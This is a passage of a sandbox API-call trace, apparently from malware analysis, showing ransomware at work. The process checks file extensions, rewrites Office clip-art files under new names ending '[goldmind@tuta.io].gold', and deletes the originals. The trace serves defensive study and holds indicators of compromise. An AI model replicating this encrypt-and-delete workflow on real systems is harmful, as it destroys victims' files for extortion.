Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.037] lstrlenW (lpString=".doc") returned 4 [0114.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.037] lstrlenW (lpString=".docx") returned 5 [0114.037] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0114.037] lstrlenW (lpString=".pdf") returned 4 [0114.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.037] lstrlenW (lpString=".xls") returned 4 [0114.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.037] lstrlenW (lpString=".xlsx") returned 5 [0114.037] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0114.037] lstrlenW (lpString=".ppt") returned 4 [0114.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.037] lstrlenW (lpString=".zip") returned 4 [0114.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.037] lstrlenW (lpString=".rar") returned 4 [0114.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.037] lstrlenW (lpString=".bz2") returned 4 [0114.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.037] lstrlenW (lpString=".7z") returned 3 [0114.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.037] lstrlenW (lpString=".dbf") returned 4 [0114.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.037] lstrlenW (lpString=".1cd") returned 4 [0114.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.037] lstrlenW (lpString=".jpg") returned 4 [0114.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.037] lstrlenW (lpString=".doc") returned 4 [0114.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.037] lstrlenW (lpString=".docx") returned 5 [0114.037] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0114.037] lstrlenW (lpString=".pdf") returned 4 [0114.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.037] lstrlenW (lpString=".xls") returned 4 [0114.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.038] lstrlenW (lpString=".xlsx") returned 5 [0114.038] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0114.038] lstrlenW (lpString=".ppt") returned 4 [0114.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.038] lstrlenW (lpString=".zip") returned 4 [0114.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.038] lstrlenW (lpString=".rar") returned 4 [0114.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.038] lstrlenW (lpString=".bz2") returned 4 [0114.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.038] lstrlenW (lpString=".7z") returned 3 [0114.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.038] lstrlenW (lpString=".dbf") returned 4 [0114.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.038] lstrlenW (lpString=".1cd") returned 4 [0114.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.038] lstrlenW (lpString=".jpg") returned 4 [0114.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.038] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.038] lstrlenW (lpString="J0196364.WMF") returned 12 [0114.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.039] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=5708) returned 1 [0114.039] CloseHandle (hObject=0x3b8) returned 1 [0114.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf")) returned 0x20 [0114.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.040] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.040] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.041] GetLastError () returned 0x0 [0114.041] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x164c, lpOverlapped=0x0) returned 1 [0114.042] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1650, lpOverlapped=0x0) returned 1 [0114.043] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.043] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.043] SetEndOfFile (hFile=0x198) returned 1 [0114.043] CloseHandle (hObject=0x198) returned 1 [0114.043] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.043] SetEndOfFile (hFile=0x3b8) returned 1 [0114.045] CloseHandle (hObject=0x3b8) returned 1 [0114.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf")) returned 1 [0114.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.046] lstrlenW (lpString=".doc") returned 4 [0114.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.046] lstrlenW (lpString=".docx") returned 5 [0114.046] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0114.046] lstrlenW (lpString=".pdf") returned 4 [0114.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.046] lstrlenW (lpString=".xls") returned 4 [0114.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.046] lstrlenW (lpString=".xlsx") returned 5 [0114.046] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0114.046] lstrlenW (lpString=".ppt") returned 4 [0114.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.046] lstrlenW (lpString=".zip") returned 4 [0114.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.046] lstrlenW (lpString=".rar") returned 4 [0114.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.046] lstrlenW (lpString=".bz2") returned 4 [0114.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.046] lstrlenW (lpString=".7z") returned 3 [0114.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.046] lstrlenW (lpString=".dbf") returned 4 [0114.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.047] lstrlenW (lpString=".1cd") returned 4 [0114.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.047] lstrlenW (lpString=".jpg") returned 4 [0114.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.047] lstrlenW (lpString=".doc") returned 4 [0114.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.047] lstrlenW (lpString=".docx") returned 5 [0114.047] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0114.047] lstrlenW (lpString=".pdf") returned 4 [0114.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.047] lstrlenW (lpString=".xls") returned 4 [0114.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.047] lstrlenW (lpString=".xlsx") returned 5 [0114.047] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0114.047] lstrlenW (lpString=".ppt") returned 4 [0114.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.047] lstrlenW (lpString=".zip") returned 4 [0114.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.047] lstrlenW (lpString=".rar") returned 4 [0114.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.047] lstrlenW (lpString=".bz2") returned 4 [0114.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.047] lstrlenW (lpString=".7z") returned 3 [0114.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.047] lstrlenW (lpString=".dbf") returned 4 [0114.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.047] lstrlenW (lpString=".1cd") returned 4 [0114.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0114.047] lstrlenW (lpString=".jpg") returned 4 [0114.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.047] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.047] lstrlenW (lpString="J0197979.WMF") returned 12 [0114.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.048] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=40230) returned 1 [0114.048] CloseHandle (hObject=0x3b8) returned 1 [0114.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf")) returned 0x20 [0114.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.048] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.049] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.049] GetLastError () returned 0x0 [0114.049] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x9d26, lpOverlapped=0x0) returned 1 [0114.051] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x9d30, lpOverlapped=0x0) returned 1 [0114.161] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.161] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.161] SetEndOfFile (hFile=0x198) returned 1 [0114.161] CloseHandle (hObject=0x198) returned 1 [0114.161] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.161] SetEndOfFile (hFile=0x3b8) returned 1 [0114.163] CloseHandle (hObject=0x3b8) returned 1 [0114.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf")) returned 1 [0114.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.164] lstrlenW (lpString=".doc") returned 4 [0114.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.164] lstrlenW (lpString=".docx") returned 5 [0114.164] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.164] lstrlenW (lpString=".pdf") returned 4 [0114.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.164] lstrlenW (lpString=".xls") returned 4 [0114.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.164] lstrlenW (lpString=".xlsx") returned 5 [0114.164] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.165] lstrlenW (lpString=".ppt") returned 4 [0114.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.165] lstrlenW (lpString=".zip") returned 4 [0114.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.165] lstrlenW (lpString=".rar") returned 4 [0114.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString=".bz2") returned 4 [0114.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString=".7z") returned 3 [0114.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.165] lstrlenW (lpString=".dbf") returned 4 [0114.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.165] lstrlenW (lpString=".1cd") returned 4 [0114.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.165] lstrlenW (lpString=".jpg") returned 4 [0114.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.165] lstrlenW (lpString=".doc") returned 4 [0114.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString=".docx") returned 5 [0114.165] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.165] lstrlenW (lpString=".pdf") returned 4 [0114.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString=".xls") returned 4 [0114.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.165] lstrlenW (lpString=".xlsx") returned 5 [0114.165] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.165] lstrlenW (lpString=".ppt") returned 4 [0114.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.165] lstrlenW (lpString=".zip") returned 4 [0114.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.165] lstrlenW (lpString=".rar") returned 4 [0114.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString=".bz2") returned 4 [0114.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.165] lstrlenW (lpString=".7z") returned 3 [0114.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.166] lstrlenW (lpString=".dbf") returned 4 [0114.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.166] lstrlenW (lpString=".1cd") returned 4 [0114.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0114.166] lstrlenW (lpString=".jpg") returned 4 [0114.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.166] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.166] lstrlenW (lpString="J0198234.WMF") returned 12 [0114.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.167] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=42654) returned 1 [0114.167] CloseHandle (hObject=0x3b8) returned 1 [0114.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf")) returned 0x20 [0114.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.167] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.167] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.170] GetLastError () returned 0x0 [0114.170] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xa69e, lpOverlapped=0x0) returned 1 [0114.174] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xa6a0, lpOverlapped=0x0) returned 1 [0114.175] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.175] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.176] SetEndOfFile (hFile=0x198) returned 1 [0114.176] CloseHandle (hObject=0x198) returned 1 [0114.176] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.176] SetEndOfFile (hFile=0x3b8) returned 1 [0114.178] CloseHandle (hObject=0x3b8) returned 1 [0114.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf")) returned 1 [0114.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.180] lstrlenW (lpString=".doc") returned 4 [0114.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.180] lstrlenW (lpString=".docx") returned 5 [0114.180] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0114.180] lstrlenW (lpString=".pdf") returned 4 [0114.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.180] lstrlenW (lpString=".xls") returned 4 [0114.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.180] lstrlenW (lpString=".xlsx") returned 5 [0114.180] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0114.180] lstrlenW (lpString=".ppt") returned 4 [0114.180] lstrcmpiW 